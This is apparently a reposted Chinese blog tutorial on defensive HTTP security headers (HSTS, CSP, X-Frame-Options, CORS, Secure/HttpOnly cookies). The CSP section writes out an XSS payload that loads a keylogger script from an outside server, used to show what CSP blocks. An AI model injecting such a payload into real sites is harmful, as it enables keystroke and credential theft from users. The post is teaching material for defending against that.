【安全测试学习】HTTP Header安全标志:协议级别的安全支持

1)HSTS 标志

以访问百度首页为例:

      从报文中,我们可以看到请求发出后,收到了响应 302,这意味着需要进行跳转操作。从 location 信息中,我们发现它会跳转到百度的 HTTPS 服务。     

      接着,我们看到一个发往 百度一下,你就知道 的请求报文,并且在请求报文中,配置了 Strict-Transport-Security,并且给它赋值为 max-age=172800,这意味着该配置的有效时间为 172800 秒,即 48 小时。

2)CSP标志

CSP 即 Content-Security-Policy,利用它来定义页面可以加载哪些资源。

Content-Security-Policy: script-src 'self',代表会对 JavaScript 代码的加载做一些限制,仅允许加载与 Web 页面相同来源的 JavaScript 代码。注意,这里的相同来源指的是相同的协议、域名和端口。

如:XSS 攻击实现按键记录的过程,我们需要利用如下语句加载恶意服务器上的 keylogger.js 的内容,从而实现按键记录功能。<script%20src=http://192.168.3.193/keylogger.js></script>

可如果被攻击的 Web 应用添加了上述 CSP 策略,就会导致我们的 JavaScript 代码加载失败,从而无法实现我们的攻击行为。

3)X-Frame-Options 标志

用来配置是否允许一个页面可在 <frame>、<iframe>、<embed> 或者 <object> 中展现设置的内容。

如:X-Frame-Options: DENY,DENY表示该页面不允许在 frame 等上述标签中展示任何内容。

X-Frame-Options: SAMEORIGIN ,代表仅允许在上述标签中展示与当前页面域名相同的内容。

X-Frame-Options: ALLOW-FROM uri ,代表仅允许在其中展示 uri 对应页面的内容。

如配置以上标志,则可以有效抵御广告植入。

4)Access-Control-Allow-Origin 标志

Access-Control-Allow-Origin 标志指定了该响应的资源是否被允许与给定的 origin 共享。

如:Access-Control-Allow-Origin: *,允许所有域名访问当前响应的资源

Access-Control-Allow-Origin: Example Domain,代表仅允许该域名访问当前响应的资源

Access-Control-Allow-Origin 标志可以使网站之间安全地跨域获取资源。

5)Set-Cookie 标志

Set-Cookie 标志不仅可以用来配置浏览器的 Cookie 信息,同时它还能对 Cookie 信息进行一些保护。

如:Set-Cookie: <cookie-name>=<cookie-value>; Secure; HttpOnly

在这个,写入了一个 cookie 的值,同时在后面加了两个配置项,Secure 以及 HttpOnly。其中 Secure 的作用是强制 cookie 只能在 HTTPS 环境下传递,而 HttpOnly 则可以禁止使用 JavaScript 去存取 cookie。它们都可以有效地保护 cookie 信息,防止攻击者窃取 cookie。

猜你喜欢

转载自blog.csdn.net/aovenus/article/details/127398261